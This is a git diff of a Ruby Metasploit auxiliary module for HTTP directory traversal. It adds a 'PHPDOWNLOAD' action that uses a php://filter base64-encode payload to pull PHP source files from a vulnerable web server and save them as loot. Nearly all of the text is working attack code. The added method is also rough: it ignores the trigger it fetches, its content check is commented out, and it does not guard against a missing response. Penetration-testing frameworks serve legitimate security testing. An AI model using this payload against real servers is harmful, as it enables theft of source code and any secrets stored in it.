@@ -12,6 +12,7 @@ class Metasploit3 < Msf::Auxiliary
12
12
include Msf ::Exploit ::Remote ::HttpClient
13
13
include Msf ::Auxiliary ::WmapScanUniqueQuery
14
14
15
+
15
16
def initialize ( info = { } )
16
17
super ( update_info ( info ,
17
18
'Name' => 'Generic HTTP Directory Traversal Utility' ,
@@ -23,7 +24,9 @@ def initialize(info = {})
23
24
directory traversal exists in the web server, and then return the path that
24
25
triggers the vulnerability. The 'DOWNLOAD' action shares the same ability as
25
26
'CHECK', but will take advantage of the found trigger to download files based on
26
- a 'FILELIST' of your choosing. The 'WRITABLE' action can be used to determine
27
+ a 'FILELIST' of your choosing. You also can to download php source code files using PHPDOWNLOAD
28
+ based in a crawled list.
29
+ The 'WRITABLE' action can be used to determine
27
30
if the trigger can be used to write files outside the www directory.
28
31
29
32
To use the 'COOKIE' option, set your value like so: "name=value". To use
@@ -41,7 +44,8 @@ def initialize(info = {})
41
44
[
42
45
[ 'CHECK' , { 'Description' => 'Check for basic directory traversal' } ] ,
43
46
[ 'WRITABLE' , { 'Description' => 'Check if a traversal bug allows us to write anywhere' } ] ,
44
- [ 'DOWNLOAD' , { 'Description' => 'Attempt to download files after bruteforcing a trigger' } ]
47
+ [ 'DOWNLOAD' , { 'Description' => 'Attempt to download files after bruteforcing a trigger' } ] ,
48
+ [ 'PHPDOWNLOAD' , { 'Description' => 'Attempt to download php source code files' } ]
45
49
] ,
46
50
'DefaultAction' => 'CHECK'
47
51
) )
@@ -245,6 +249,35 @@ def lfi_download(trigger, files)
245
249
print_status ( "#{ counter . to_s } file(s) downloaded" )
246
250
end
247
251
252
+
253
+ #
254
+ # Action 'PHPDOWNLOAD': Used to grab the php source code
255
+ #
256
+ def php_download ( files )
257
+ counter = 0
258
+ files . each_line do |f |
259
+ # Our trigger already puts us in '/', so our filename doesn't need to begin with that
260
+ f = f [ 1 , f . length ] if f =~ /^\/ /
261
+
262
+ req = ini_request ( uri = ( datastore [ 'PATH' ] + "php://filter/read=convert.base64-encode/resource=" + f ) . chop )
263
+ res = send_request_cgi ( req , 25 )
264
+
265
+ vprint_status ( "#{ res . code . to_s } for http://#{ rhost } :#{ rport } #{ uri } " )
266
+
267
+ # Only download files that are withint our interest
268
+ #if res and res.to_s =~ datastore['PATTERN']
269
+ # We assume the string followed by the last '/' is our file name
270
+ fname = f . split ( "/" ) [ -1 ] . chop
271
+ loot = store_loot ( "php.data" , "text/plain" , rhost , Rex ::Text . decode_base64 ( res . body ) , fname )
272
+ print_good ( "File #{ fname } downloaded to: #{ loot } " )
273
+ counter += 1
274
+ #end
275
+ end
276
+ print_status ( "#{ counter . to_s } source code file(s) downloaded" )
277
+ end
278
+
279
+
280
+
248
281
#
249
282
# Action 'WRITABLE': This method will attempt to write to a directory outside of www
250
283
#
@@ -321,10 +354,18 @@ def run_host(ip)
321
354
return if trigger . nil?
322
355
is_writable ( trigger )
323
356
357
+ elsif action . name == 'PHPDOWNLOAD'
358
+ trigger = ini_trigger
359
+ return if trigger . nil?
360
+ files = load_filelist
361
+ php_download ( files )
362
+
363
+
324
364
elsif action . name == 'DOWNLOAD'
325
365
trigger = ini_trigger
326
366
return if trigger . nil?
327
-
367
+
368
+
328
369
# Load up a file list that we wish to download, and then attempt to download them
329
370
# with our directory traversal trigger
330
371
files = load_filelist
0 commit comments